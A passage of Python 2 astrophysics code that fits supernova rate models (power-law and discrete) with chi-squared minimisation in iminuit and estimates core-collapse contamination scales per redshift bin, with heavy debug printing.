= []\n if dump: JSumTempDenStor = []\n\n if dump:\n print \"actually used NCC\"\n #print nCC\n print nCCData\n if dump and (simInd < self.nprint):\n print \"effmat\"\n print effmat\n print \"nData\"\n print nData\n print \"nCCData\"\n print nCCData\n print \"nSim\"\n print nSim\n\n print nCCData\n for row, nDataI, nCCDataI, i, zc in zip(effmat, nData, nCCData, range(self.nbinsFit), zCentersFit):\n if dump and (self.nprint > simInd):\n print 'effmat row'\n print row\n print 'nDataI'\n print nDataI\n print 'nCCDataI'\n print nCCDataI\n scaledNSimTemp = 0.0\n \n JSumTempNum = 0.0\n JSumTempDen = 0.0\n if dump and (simInd < self.nprint):\n print \"nBinsSamp\"\n print self.nbinsSamp\n assert(row.shape[0] == self.nbinsSamp)\n assert(nSim.shape[0] == self.nbinsSamp)\n assert(len(f_Js) == self.nbinsSamp)\n for eff, nSimJ, f_J, j in zip(row, nSim, f_Js, range(self.nbinsSamp)):\n if dump and (self.nprint > simInd):\n print 'NGen J'\n print nSimJ\n print 'JSumTempNum contr'\n print nSimJ*f_J*eff*fnorm\n print 'JSumTempDen contr'\n print nSimJ*f_J*eff*fnorm*f_J*fnorm\n #if dump and (i != j) and self.cheatZ and (self.nprint < simInd):\n # if nSimJ*f_J*eff*fnorm > 0:\n # print \" This should be zero but isnt \"\n # print nSimJ*f_J*eff*fnorm\n # assert(0)\n JSumTempNum += nSimJ*f_J*eff*fnorm\n JSumTempDen += nSimJ*f_J*eff*fnorm*f_J*fnorm\n dataFunc = np.maximum(nDataI ,1)\n #CCFunc = np.ceil(np.maximum(nCCDataI, 1))\n CCFunc = np.maximum(nCCDataI, 1)\n c2t = (nDataI - nCCDataI - JSumTempNum)**2/( dataFunc + CCFunc + JSumTempDen) \n if dump:\n JSumTempNumStor.append(JSumTempNum)\n JSumTempDenStor.append(JSumTempDen)\n\n if dump and (self.nprint > simInd):\n print i\n print 'nDataI'\n print nDataI\n print 'fnCCDataI'\n print nCCDataI\n print 'fnorm'\n print fnorm\n print \"JSumTempNum tot\"\n print JSumTempNum\n print \"JSumTempDen tot\"\n print JSumTempDen\n print \"Chi2Bin\"\n print c2t\n \n if dump:\n chi2Storage.append(c2t)\n \n if c2t > 5:\n print 'INSANITY CHECK ABOVE'\n\n \n # Chi2Temp += ((nDataI - nCCDataI - JSumTempNum)**2/(JSumTempNum + JSumTempDen))#*fnorm**2\n if nDataI > 1E-11 or JSumTempDen > 1E-11:\n Chi2Temp += c2t\n if dump and (self.nprint > simInd):\n print \"JSumTempNum/Den\"\n print JSumTempNumStor\n print JSumTempDenStor\n\n if dump:\n if (self.nprint >simInd):\n print Chi2Temp\n print kprior\n print betaprior\n print chi2Storage\n\n \n print \"nData\"\n print nData\n print \"nCCData\"\n print nCCData\n if priorRate is None:\n\n return Chi2Temp+kprior+betaprior , chi2Storage \n else:\n print \"PRIORS3\"\n print priorRate\n print \"fit k\"\n print k\n print 'MCK'\n print self.MCK\n print \"fit beta\"\n print Beta\n print 'MCBeta'\n print self.MCBeta\n print ratePrior(k*self.MCK, Beta + self.MCBeta, priorRate, priorZEff, ratePriorErrUp, ratePriorErrDown, ratePriorErrAll)\n\n return Chi2Temp+kprior+betaprior + ratePrior(k*self.MCK, Beta+self.MCBeta, priorRate, priorZEff, ratePriorErrUp, ratePriorErrDown, ratePriorErrAll), chi2Storage \n else:\n if dump and (self.nprint > simInd):\n print 'C2T'\n print Chi2Temp\n print kprior\n print betaprior\n\n if priorRate is None:\n\n return Chi2Temp+kprior+betaprior \n else:\n print \"PRIORS3\"\n print priorRate\n print \"fit k\"\n print k\n print 'MCK'\n print self.MCK\n print \"fit beta\"\n print Beta\n print 'MCBeta'\n print self.MCBeta\n print ratePrior(k*self.MCK, Beta+self.MCBeta, priorRate, priorZEff, ratePriorErrUp, ratePriorErrDown, ratePriorErrAll)\n\n return Chi2Temp+kprior+betaprior + ratePrior(k*self.MCK, Beta+self.MCBeta, priorRate, priorZEff, ratePriorErrUp, ratePriorErrDown, ratePriorErrAll)\n \n zCentersSamp = (self.binListSamp[1:] + self.binListSamp[:-1])/2.0\n zCentersFit = (self.binListFit[1:] + self.binListFit[:-1])/2.0\n \n #Is this right? Everything else in the other side of the chi2 function should be Ia only\n if self.cheatCCSub:\n self.fracCCData = TrueNCC*1.0/nData\n else:\n self.fracCCData = (NCC*1.0)/(1.0*(NCC + NIa))\n if (self.nprint > simInd):\n print \"nSim\"\n print nSim\n print 'fracCCData'\n print self.fracCCData\n print \"nData\"\n print nData\n #fnorm = float(np.sum(nData*(1-self.fracCCData)))/float(np.sum(nSim))\n fnorm = 1.0/240.0\n #print \"PRIORS\"\n #print self.priorZEff\n #print self.priorRate\n #print self.ratePriorErrUp\n #print self.ratePriorErrDown\n if self.Rate_Model == 'powerlaw':\n lamChi2 = lambda k, Beta: chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, k, Beta, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC, priorRate = self.priorRate, priorZEff = self.priorZEff, ratePriorErrUp = self.ratePriorErrUp, ratePriorErrDown =self.ratePriorErrDown, ratePriorErrAll = self.ratePriorErrAll)#, zbins = self.binListFit)\n lamChi2Dump = lambda k, Beta: chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, k, Beta, dump = True, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC, priorRate = self.priorRate, priorZEff = self.priorZEff, ratePriorErrUp = self.ratePriorErrUp, ratePriorErrDown =self.ratePriorErrDown, ratePriorErrAll = self.ratePriorErrAll)#, zbins = self.binListFit)\n MinObj = M(lamChi2, k = kInit, error_k = kErr , Beta = BetaInit, error_Beta = BetaErr, limit_k = (0.0, None), limit_Beta = (-100, 100), fix_k = fixK, fix_Beta = fixBeta)\n c2i, _ = lamChi2Dump(1.0, 0.0)\n\n print \"Chi2 init = {0}\".format(round(c2i, 4))\n elif self.Rate_Model == 'brokenpowerlaw':\n lamChi2 = lambda k, Beta: chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, k, Beta, 1.0, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC, Rate_Model = 'brokenpowerlaw', priorRate = self.priorRate, priorZEff = self.priorZEff, ratePriorErrUp = self.ratePriorErrUp, ratePriorErrDown =self.ratePriorErrDown, ratePriorErrAll = self.ratePriorErrAll)#, zbins = self.binListFit)\n lamChi2Dump = lambda k, Beta: chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, k, Beta, 1.0, dump = True, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC, Rate_Model = 'brokenpowerlaw', priorRate = self.priorRate, priorZEff = self.priorZEff, ratePriorErrUp = self.ratePriorErrUp, ratePriorErrDown =self.ratePriorErrDown, ratePriorErrAll = self.ratePriorErrAll)#, zbins = self.binListFit)\n\n MinObj = M(lamChi2, k = kInit, error_k = kErr , Beta = BetaInit, error_Beta = BetaErr, limit_k = (0.0, None), limit_Beta = (-100, 100), fix_k = fixK, fix_Beta = fixBeta)\n c2i, _ = lamChi2Dump(1.0, 0.0)\n\n print \"Chi2 init = {0}\".format(round(c2i, 4))\n elif self.Rate_Model == 'brokenpowerlawVar':\n lamChi2 = lambda k, Beta, zBreak: chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, k, Beta, zBreak, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC, Rate_Model = 'brokenpowerlawVar', priorRate = self.priorRate, priorZEff = self.priorZEff, ratePriorErrUp = self.ratePriorErrUp, ratePriorErrDown =self.ratePriorErrDown, ratePriorErrAll = self.ratePriorErrAll)#, zbins = self.binListFit)\n lamChi2Dump = lambda k, Beta, zBreak: chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, k, Beta, zBreak, dump = True, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC, Rate_Model = 'brokenpowerlawVar', priorRate = self.priorRate, priorZEff = self.priorZEff, ratePriorErrUp = self.ratePriorErrUp, ratePriorErrDown =self.ratePriorErrDown, ratePriorErrAll = self.ratePriorErrAll)#, zbins = self.binListFit)\n\n MinObj = M(lamChi2, k = kInit, error_k = kErr , Beta = BetaInit, error_Beta = BetaErr, limit_k = (0.0, None), limit_Beta = (-100, 100), fix_k = fixK, fix_Beta = fixBeta, zBreak = 1.0, error_zBreak = 0.1, limit_zBreak = (self.zminFit, self.zmaxFit))\n c2i, _ = lamChi2Dump(1.0, 0.0)\n\n print \"Chi2 init = {0}\".format(round(c2i, 4))\n\n \n elif self.Rate_Model == 'discrete':\n \n lamChi2 = lambda f_1, f_2, f_3, f_4, f_5, f_6, f_7, f_8, f_9, f_10, f_11: chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, 1.0, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC, f_1 = f_1, f_2 = f_2,f_3 = f_3, f_4 = f_4,f_5 = f_5, f_6 = f_6,f_7 = f_7, f_8 = f_8,f_9 = f_9, f_10 = f_10, f_11 = f_11, Rate_Model = 'discrete', priorRate = self.priorRate, priorZEff = self.priorZEff, ratePriorErrUp = self.ratePriorErrUp, ratePriorErrDown =self.ratePriorErrDown, ratePriorErrAll = self.ratePriorErrAll)#, zbins = self.binListFit )\n lamChi2Dump = lambda f_1, f_2, f_3, f_4, f_5, f_6, f_7, f_8, f_9, f_10, f_11: chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, 1.0, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC, f_1 = f_1, f_2 = f_2,f_3 = f_3, f_4 = f_4,f_5 = f_5, f_6 = f_6,f_7 = f_7, f_8 = f_8,f_9 = f_9, f_10 = f_10, f_11 = f_11, dump = True, Rate_Model = 'discrete', priorRate = self.priorRate, priorZEff = self.priorZEff, ratePriorErrUp = self.ratePriorErrUp, ratePriorErrDown =self.ratePriorErrDown, ratePriorErrAll = self.ratePriorErrAll)#, zbins = self.binListFit)\n\n c2i, _ = lamChi2Dump(1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0)\n\n print \"Chi2 init = {0}\".format(round(c2i, 4))\n\n MinObj = M(lamChi2, f_1 = 1.0, error_f_1 = 1.0, limit_f_1 = (0.0, None), f_2 = 1.0, error_f_2 = 1.0, limit_f_2 = (0.0, None), f_3 = 1.0, error_f_3 = 1.0, limit_f_3 = (0.0, None), f_4 = 1.0, error_f_4 = 1.0, limit_f_4 = (0.0, None), f_5 = 1.0, error_f_5 = 1.0, limit_f_5 = (0.0, None), f_6 = 1.0, error_f_6 = 1.0, limit_f_6 = (0.0, None), f_7 = 1.0, error_f_7 = 1.0, limit_f_7 = (0.0, None), f_8 = 1.0, error_f_8 = 1.0, limit_f_8 = (0.0, None), f_9 = 1.0, error_f_9 = 1.0, limit_f_9 = (0.0, None), f_10 = 1.0, error_f_10 = 1.0, limit_f_10 = (0.0, None), f_11 = 1.0,error_f_11 = 1.0, limit_f_11 = (0.0, None))\n\n if self.Rate_Model == 'discrete':\n c2f, c2stor = lamChi2Dump(MinObj.values['f_1'],MinObj.values['f_2'],MinObj.values['f_3'],MinObj.values['f_4'],MinObj.values['f_5'],MinObj.values['f_6'],MinObj.values['f_7'],MinObj.values['f_8'],MinObj.values['f_9'],MinObj.values['f_10'],MinObj.values['f_11'])\n else: \n print \"TEST DUMP HERE\"\n c2f, c2stor = lamChi2Dump(MinObj.values['k'], MinObj.values['Beta'])\n\n \n\n \n #MinObj = M(lamChi2, k = 1.0, fix_k = True, Beta = 0.0, error_Beta = 0.1)\n \n\n MinObj.set_strategy(2)\n\n fmin, param = MinObj.migrad(nsplit= 10)\n #fmin, param = MinObj.migrad()\n #ErrDict = MinObj.minos()\n\n \n self.covar = MinObj.np_covariance()\n\n ErrDict = MinObj.minos(maxcall = 1000)\n \n\n #plt.scatter(nData, c2stor)\n #plt.xlabel('nData')\n #plt.ylabel('chi2 in bin')\n #plt.savefig(self.realName + 'Chi2VsnData.png')\n #plt.clf()\n if self.nprint > simInd:\n print \"Shapes of things\"\n print len(c2stor)\n print nData.shape\n\n print dataBins.shape\n\n print self.binListFit.shape\n print self.binListSamp.shape\n #print DebugNIaPhot.shape\n #print DebugNCCPhot.shape\n #print DebugNIaTrue.shape\n #print DebugNCCTrue.shape\n\n for c2, nd in zip(c2stor, nData):\n self.globalChi2Storage.append(c2)\n self.globalNDataStorage.append(nd)\n\n if self.Rate_Model == 'discrete':\n fJList = [MinObj.values['f_1'],MinObj.values['f_2'],MinObj.values['f_3'],MinObj.values['f_4'],MinObj.values['f_5'],MinObj.values['f_6'],MinObj.values['f_7'],MinObj.values['f_8'],MinObj.values['f_9'],MinObj.values['f_10'],MinObj.values['f_11']]\n fJErrList = [MinObj.errors['f_1'],MinObj.errors['f_2'],MinObj.errors['f_3'],MinObj.errors['f_4'],MinObj.errors['f_5'],MinObj.errors['f_6'],MinObj.errors['f_7'],MinObj.errors['f_8'],MinObj.errors['f_9'],MinObj.errors['f_10'],MinObj.errors['f_11']]\n\n \n self.fJList = fJList\n self.fJErrList = fJErrList\n self.Beta = None\n self.k = None\n self.kErr = None\n self.BetaErr = None\n print fJList\n print fJErrList\n else:\n k = MinObj.values['k']\n #kErr = MinObj.errors['k']\n kErr = (np.abs(ErrDict['k']['lower']) + np.abs(ErrDict['k']['upper']))/2.0\n Beta = MinObj.values['Beta']\n #BetaErr = MinObj.errors['Beta']\n BetaErr = (np.abs(ErrDict['Beta']['lower']) + np.abs(ErrDict['Beta']['upper']))/2.0\n if self.Rate_Model == 'brokenpowerlawVar':\n zBreak = MinObj.values['zBreak']\n zBreakErr = MinObj.values['zBreakErr']\n self.k = k\n self.Beta = Beta\n self.kErr = kErr\n self.BetaErr = BetaErr\n #/(self.nbins - 2)\n self.BetaRatio = (1+zCentersFit)**(Beta)\n self.fJList = None\n\n print 'SCALE DEBUG'\n print NCC\n print NIa\n print self.BetaRatio\n print 'SCALE DEBUG2'\n print np.sum(NCC)\n print np.sum(NIa)\n print np.sum(NIa*self.BetaRatio)\n self.fracCCData = (NCC*1.0)/(1.0*(1.0*NCC + NIa*self.BetaRatio))\n self.fracCCDataTot = (np.sum(NCC)*1.0)/(1.0*(1.0*np.sum(NCC) + np.sum(NIa*self.BetaRatio)))\n print 'SCALE DEBUG3'\n print self.fracCCData\n print self.fracCCDataTot\n print 'SCALE DEBUG4'\n print OrigNCC\n print np.sum(OrigNCC)\n print CCScale\n\n #print self.fracCCDataTot\n #print type(self.fracCCDataTot)\n #assert(type(self.fracCCDataTot) == float)\n print \"Chi2 final = {0}\".format(round(lamChi2Dump(self.k, self.Beta)[0], 4))\n self.chi2 = fmin.fval\n print \"Chi2final? = {0}\".format(round(fmin.fval, 4))\n\n\n\n if not(self.priorRate is None):\n ratePriorFinalVal = ratePrior(self.k*self.MCK, self.Beta+self.MCBeta, self.priorRate, self.priorZEff, self.ratePriorErrUp, self.ratePriorErrDown, self.ratePriorErrAll )\n c2NoPrior = chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, self.k, self.Beta, dump = False, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC)\n print \"RATE PRIOR FINAL\"\n print ratePriorFinalVal\n print \"Chi2final? = {0}\".format(round(fmin.fval, 4))\n print \"Chi2FinalNoPrior\"\n print c2NoPrior\n\n #fJs = np.ones(zCenters.shape)\n '''\n try:\n if (Rate_Model != 'discrete'):\n plt.clf()\n MinObj.draw_contour('k','Beta', nsigma=3)\n plt.savefig('{0}_{1}_k_beta_contour.png'.format(self.realName, self.simName))\n if Blind:\n locs, labels = plt.xticks()\n labels = locs + np.cos(cosVal)\n plt.xticks(labels)\n locs, labels = plt.yticks()\n labels = locs + np.cos(cosVal)\n plt.yticks(labels)\n plt.clf()\n \n #xgrid,ygrid, sigma, rawdata = MinObj.mncontour_grid('k', 'Beta', numpoints=30, sigma_res = 1, nsigma = 2.0)\n #fig, ax = plt.subplots(1)\n #plt.clf()\n #CS = ax.contour(xgrid, ygrid + self.MCBeta, sigma, levels = [ 1.0, 2.0])\n #ax.clabel(CS, fontsize=7, inline=1)\n #ax.set_xlabel('k')\n #ax.set_ylabel('Beta')\n #if Blind:\n # ax.set_xticklabels([])\n # ax.set_yticklabels([])\n #plt.savefig('{0}_{1}_k_beta_contour.png'.format(self.realName, self.simName))\n #plt.close()\n except: \n print \"Plot Fail A\"\n\n try:\n if (Rate_Model != 'discrete'):\n plt.clf()\n MinObj.draw_profile('Beta', text = False)\n if Blind:\n\n locs, labels = plt.xticks()\n labels = locs + np.cos(cosVal)\n plt.xticks(labels)\n plt.savefig('{0}_{1}_beta_contour.png'.format(self.realName, self.simName))\n plt.clf()\n except:\n print \"Plot Fail C\"\n try:\n if Rate_Model != 'discrete':\n Betas = np.linspace(self.Beta - 0.5, self.Beta + 0.5, 51)\n FCNs = []\n for bTemp in Betas:\n FCN = lamChi2( self.k, bTemp)\n FCNs.append(FCN)\n\n plt.plot(Betas, FCNs, c = 'k', label = 'Non Minuit Contour')\n plt.legend()\n plt.xlabel('Beta')\n plt.ylabel('Chi2')\n if Blind:\n\n locs, labels = plt.xticks()\n labels = locs + np.cos(cosVal)\n plt.xticks(labels)\n plt.savefig('{0}_{1}_beta_mycontour.png'.format(self.realName, self.simName))\n plt.clf()\n\n\n except:\n print \"Plot Fail D\"\n\n if Rate_Model != 'discrete':\n plt.clf()\n ax = plt.axes()\n Betas = np.linspace(self.Beta - 0.1, self.Beta + 0.1, 501)\n FCNs = []\n for bTemp in Betas:\n FCN = lamChi2( self.k, bTemp)\n FCNs.append(FCN)\n\n plt.plot(Betas, FCNs, c = 'k', label = 'Non Minuit Contour')\n plt.legend()\n plt.xlabel('Beta')\n plt.ylabel('Chi2')\n if Blind:\n\n locs, labels = plt.xticks()\n labels = locs + np.cos(cosVal)\n ax.set_xticklabels(labels)\n print \"FCNs\"\n print FCNs\n plt.savefig('{0}_{1}_beta_myzoomcontour.png'.format(self.realName, self.simName))\n plt.clf()\n\n\n plt.clf()\n ax = plt.axes()\n ks = np.linspace(self.k - 0.1, self.k + 0.1, 501)\n FCNs = []\n for kTemp in ks:\n FCN = lamChi2( kTemp,self.Beta)\n FCNs.append(FCN)\n\n plt.plot(ks, FCNs, c = 'k', label = 'Non Minuit Contour')\n plt.legend()\n plt.xlabel('k')\n plt.ylabel('Chi2')\n \n print \"FCNs\"\n print FCNs\n plt.savefig('{0}_{1}_k_myzoomcontour.png'.format(self.realName, self.simName))\n plt.clf()\n\n\n\n df = np.array(FCNs[1:]) - np.array(FCNs[:-1])\n inds = np.where(df > 0)[0]\n print 'inds'\n print inds\n print inds < 250\n print np.where(inds < 250)\n inds = inds[np.where(inds < 250)]\n print 'inds'\n print inds\n print \"INDSSHAPE\"\n print inds.shape\n if inds.shape[0]:\n print \"MINUIT IS PROBABLY MAD. HERES WHY\"\n print inds\n print Betas[inds]\n if inds.shape[0] > 1:\n inds = inds[-1]\n print inds\n print Betas[inds]\n\n lamChi2Dump(self.k, Betas[inds -3])\n print \"MINUIT MAD 2\"\n lamChi2Dump(self.k, Betas[inds -2])\n print \"MINUIT MAD 3\"\n lamChi2Dump(self.k, Betas[inds -1])\n\n print \"MINUIT MAD 4\"\n lamChi2Dump(self.k, Betas[inds])\n print \"MINUIT MAD 5\"\n lamChi2Dump(self.k, Betas[inds + 1])\n print \"MINUIT MAD 6\"\n lamChi2Dump(self.k, Betas[inds + 2])\n print \"MINUIT MAD 7\"\n lamChi2Dump(self.k, Betas[inds + 3])\n print \"END MINUIT MAD\"\n \n\n\n\n try:\n if (Rate_Model != 'discrete'):\n plt.clf()\n MinObj.draw_mncontour('k','Beta', nsigma=3)\n plt.savefig('{0}_{1}_k_beta_mncontour.png'.format(self.realName, self.simName))\n if Blind:\n locs, labels = plt.xticks()\n labels = locs + np.cos(cosVal)\n plt.xticks(labels)\n locs, labels = plt.yticks()\n labels = locs + np.cos(cosVal)\n plt.yticks(labels)\n plt.clf()\n MinObj.draw_mnprofile('Beta', text = False, subtract_min = True)\n if Blind:\n \n\n locs, labels = plt.xticks()\n labels = locs + np.cos(cosVal)\n plt.xticks(labels)\n plt.savefig('{0}_{1}_beta_mncontour.png'.format(self.realName, self.simName))\n plt.clf()\n #xgrid,ygrid, sigma, rawdata = MinObj.mncontour_grid('k', 'Beta', numpoints=30, sigma_res = 1, nsigma = 2.0)\n #fig, ax = plt.subplots(1)\n #plt.clf()\n #CS = ax.contour(xgrid, ygrid + self.MCBeta, sigma, levels = [ 1.0, 2.0])\n #ax.clabel(CS, fontsize=7, inline=1)\n #ax.set_xlabel('k')\n #ax.set_ylabel('Beta')\n #if Blind:\n # ax.set_xticklabels([])\n # ax.set_yticklabels([])\n #plt.savefig('{0}_{1}_k_beta_contour.png'.format(self.realName, self.simName))\n #plt.close()\n except: \n print \"Plot Fail B\"\n pass\n \n \n\n \n #plt.axhline(y = self.MCBeta, c = 'k', label = 'True Beta')\n #plt.axhline(y = Beta + self.MCBeta, c = 'g', label= 'Best Fit Beta')\n #plt.axvline(x = k, label = 'Best Fit k')\n ''' \n '''\n def chi2V2(self, fJs, fJErrs, zCenters, k, Beta):\n fitfJs = k*(1+zCenters)**Beta\n Chi2Temp = 0\n for fJ, fitfJ, fJErr in zip(fJs, fitfJs, fJErrs):\n Chi2Temp += (fJ - fitfJ)**2/(fJ + fJErr)\n return Chi2Temp\n '''\n\ndef weakPrior(value, priorTuple):\n if value < priorTuple[1]:\n if value > priorTuple[0]:\n return 1\n else: \n return (value - priorTuple[0])**4\n else:\n return (value - priorTuple[1])**4\n\ndef ratePrior(fitK, fitBeta, priorRate, zEffPrior, priorRateErrUp = None, priorRateErrDown = None, priorRateErrAll = None):\n\n print \"PRIOR\"\n print priorRate\n print zEffPrior\n print priorRateErrUp\n print priorRateErrDown\n print \"Fit Beta/k\"\n print fitBeta\n print fitK\n fitRate = fitK*(1+zEffPrior)**fitBeta\n print 'Fit Rate'\n print fitRate\n print \"PriorChi2\"\n\n if fitRate > priorRate:\n\n if not (priorRateErrUp is None):\n print (fitRate - priorRate)**2/priorRateErrUp**2\n return (fitRate - priorRate)**2/priorRateErrUp**2\n else:\n print (fitRate - priorRate)**2/priorRateErrAll**2\n return (fitRate - priorRate)**2/priorRateErrAll**2\n else:\n if not (priorRateErrDown is None):\n print (fitRate - priorRate)**2/priorRateErrDown**2\n return (fitRate - priorRate)**2/priorRateErrDown**2\n else:\n print (fitRate - priorRate)**2/priorRateErrAll**2\n return (fitRate - priorRate)**2/priorRateErrAll**2\n\n\n\n\n\n\n\ndef getCCScale(simCat, dataCat, MURESWindow = (-1, 1), zbins = [0.0, 0.3, 0.6, 0.9, 1.2], Beta = None, binList = None, fracCCData = None, outfilePrefix = 'Test', Rate_Model = 'powerlaw', f_Js = None, returnHist = False, debug = False, simInd = 100, ztype = 'zPHOT'):\n #import iminuit as iM\n #from iminuit import Minuit as M\n if debug:\n print \"Check this\"\n print Rate_Model\n print f_Js\n print Beta\n print fracCCData\n print \"Done Checking\"\n CCScales = []\n CCScaleErrs = []\n simIaHists = []\n simCCHists = []\n dataHists = []\n if not(f_Js is None):\n f_Js = np.array(f_Js)\n\n allSimCC = simCat[simCat['SIM_TYPE_INDEX'].astype(int) != 1]\n allSimIa = simCat[simCat['SIM_TYPE_INDEX'].astype(int) == 1]\n allData = np.copy(dataCat)\n\n\n #fnorm2 = float(dataCat.shape[0])/float(np.sum(simHist))\n \n simCat = simCat[(simCat['MURES'] < MURESWindow[0]) | (simCat['MURES'] > MURESWindow[1]) ]\n dataCat = dataCat[(dataCat['MURES'] < MURESWindow[0]) | (dataCat['MURES'] > MURESWindow[1]) ]\n \n\n for zl, zh in zip(zbins[:-1], zbins[1:]):\n\n tempSim = simCat[(simCat[ztype] < zh) & (simCat[ztype] > zl)]\n tempData = dataCat[(dataCat[ztype] < zh) & (dataCat[ztype] > zl)]\n\n\n allSimCCZbin = allSimCC[(allSimCC[ztype] < zh) & (allSimCC[ztype] > zl)]\n allSimIaZbin = allSimIa[(allSimIa[ztype] < zh) & (allSimIa[ztype] > zl)]\n if debug:\n print \"all Sim CC Zbin/IaZbin\"\n print allSimCCZbin.shape[0]\n print allSimIaZbin.shape[0]\n\n allDataZbin = allData[(allData[ztype] < zh) & (allData[ztype] > zl)]\n\n\n\n tempSimCC = tempSim[tempSim['SIM_TYPE_INDEX'] != 1]\n tempSimIa = tempSim[tempSim['SIM_TYPE_INDEX'] == 1]\n\n R = float(tempData.shape[0])/float(allDataZbin.shape[0])\n if debug:\n print \"R\"\n\n print R\n\n print \"Hist CC, outlier and total\"\n print tempSim.shape[0]\n print allSimCCZbin.shape[0]\n\n\n print \"pre Beta Correction allSimIa\"\n print tempData.shape[0]\n print allSimIaZbin.shape[0]\n\n if Rate_Model == 'discrete':\n hist, bins = np.histogram(allSimIaZbin[ztype], bins = 11)\n if debug:\n print 'fJ shape'\n print f_Js.shape\n print f_Js\n print hist\n print bins\n betaCorrAllSimIaZbin =np.sum(hist*f_Js)\n else:\n betaCorrAllSimIaZbin =np.sum((1+ allSimIaZbin[ztype])**Beta)\n #S = float(np.array(R*histSAllIa) - np.array(tempSimIa.shape[0]))/float(np.array(tempSimCC.shape[0]) - np.array(R*histSAllCC))\n\n try:\n if debug:\n print \"Test S\"\n print R\n print betaCorrAllSimIaZbin\n print tempSimIa.shape[0]\n print tempSimCC.shape[0]\n print allSimCCZbin.shape\n print 'EEE'\n print np.array(R*betaCorrAllSimIaZbin)\n print 'DDD'\n print np.array(tempSimIa.shape[0])\n print 'CCC'\n print (np.array(tempSimCC.shape[0]) - np.array(R*allSimCCZbin.shape[0]))\n print \"AAA\"\n print (np.array(R*betaCorrAllSimIaZbin) - np.array(tempSimIa.shape[0]))/(np.array(tempSimCC.shape[0]) - np.array(R*allSimCCZbin.shape[0]))\n print \"BBB\"\n #S = (np.array(R*betaCorrAllSimIaZbin) - np.array(tempSimIa.shape[0]))/(np.array(tempSimCC.shape[0]) - np.array(R*allSimCCZbin.shape[0]))\n S = float(np.array(R*betaCorrAllSimIaZbin) - np.array(tempSimIa.shape[0]))/float(np.array(tempSimCC.shape[0]) - np.array(R*allSimCCZbin.shape[0]))\n except: \n S = np.nan\n if debug:\n print \"S WTF\"\n print S\n\n\n print \"Uncertainty Related Bullshit\"\n '''\n print \"Delta R\"\n\n dR = np.sqrt(histD + histDAll)\n\n print dR\n\n num1 = np.sqrt(np.sqrt((dR/R)**2 + histSAllIa) + tempSimIa.shape[0])\n\n num2 = np.sqrt(np.sqrt((dR/R)**2 + histSAllCC) + tempSimCC.shape[0])\n\n den1 = (R*histSAllIa - tempSimIa.shape[0])\n\n den2 = (tempSimCC.shape[0] - R*histSAllCC)\n\n\n dS = np.sqrt((num1/den1)**2 + (num2/den2)**2)\n '''\n #ddnCC = np.sqrt(tempSimCC.shape[0])*(tempSimIa.shape[0] - histSAllIa*R)/(tempSimCC.shape[0] - R*histSAllCC)**2\n\n #ddNCC = np.sqrt(histSAllCC)*R*(histSAllIa*R - tempSimIa.shape[0])/(tempSimCC.shape[0] - R*histSAllCC)**2\n\n #ddnIa = np.sqrt(tempSimIa.shape[0])/(tempSimCC.shape[0] - R*histSAllCC)\n #ddNIa = np.sqrt(histSAllIa)*R/(tempSimCC.shape[0] - R*histSAllCC)\n\n ddnCC = np.sqrt(tempSimCC.shape[0])*(tempSimIa.shape[0] - allSimIaZbin.shape[0]*R)/(tempSimCC.shape[0] - R*allSimCCZbin.shape[0])**2\n\n ddNCC = np.sqrt(allSimCCZbin.shape[0])*R*(allSimIaZbin.shape[0]*R - tempSimIa.shape[0])/(tempSimCC.shape[0] - R*allSimCCZbin.shape[0])**2\n\n ddnIa = np.sqrt(tempSimIa.shape[0])/(tempSimCC.shape[0] - R*allSimCCZbin.shape[0])\n ddNIa = np.sqrt(allSimIaZbin.shape[0])*R/(tempSimCC.shape[0] - R*allSimCCZbin.shape[0])\n\n #ddR = (histSAllIa*tempSimCC.shape[0] - histSAllCC * tempSimIa.shape[0])/(tempSimCC.shape[0] - R*histSAllCC)**2\n\n dS = np.sqrt(ddnCC**2 + ddNCC**2 + ddnIa**2 + ddNIa**2)# + ddR**2)\n\n if debug:\n\n print \"ddnCC\"\n\n print ddnCC\n\n print \"ddNCC\"\n\n print ddNCC\n\n print \"ddnIa\"\n\n print ddnIa\n\n print \"ddNIa\"\n\n print ddNIa\n\n #print \"ddR\"\n\n #print ddR\n\n print \"Delta S\"\n\n print dS\n\n #assert(S > 0)\n if S < 0: \n S = np.nan\n if np.isnan(S):\n print 'SCALE IS NAN'\n if len(CCScales) > 0:\n #CCScales.append(CCScales[-1])\n CCScales.append(1.0)\n else: \n CCScales.append(1.0)\n else:\n CCScales.append(S)\n if type(dS) == np.ndarray:\n if np.isnan(dS[0]):\n CCScaleErrs.append(1.0)\n else:\n CCScaleErrs.append(dS[0])\n else:\n if np.isnan(dS):\n CCScaleErrs.append(1.0)\n else:\n CCScaleErrs.append(dS)\n\n #if debug:\n # print \"CC PlotDebug\"\n # print (simBinsCC[1:] + simBinsCC[:-1])/2.0\n # print simHistCC\n # print CCScales[0]\n # print dS\n # print fnorm2\n # print histD\n # print (muresBins[1:] + muresBins[:-1])/2.0\n \n #if simInd ==1:\n # plt.step((simBinsCC[1:] + simBinsCC[:-1])/2.0, simHistCC*fnorm2, c = 'b', where = 'mid', label = 'prescaled Sim CC')\n # plt.step((simBinsCC[1:] + simBinsCC[:-1])/2.0, CCScales[0]*simHistCC*fnorm2, c = 'g', where = 'post', label = 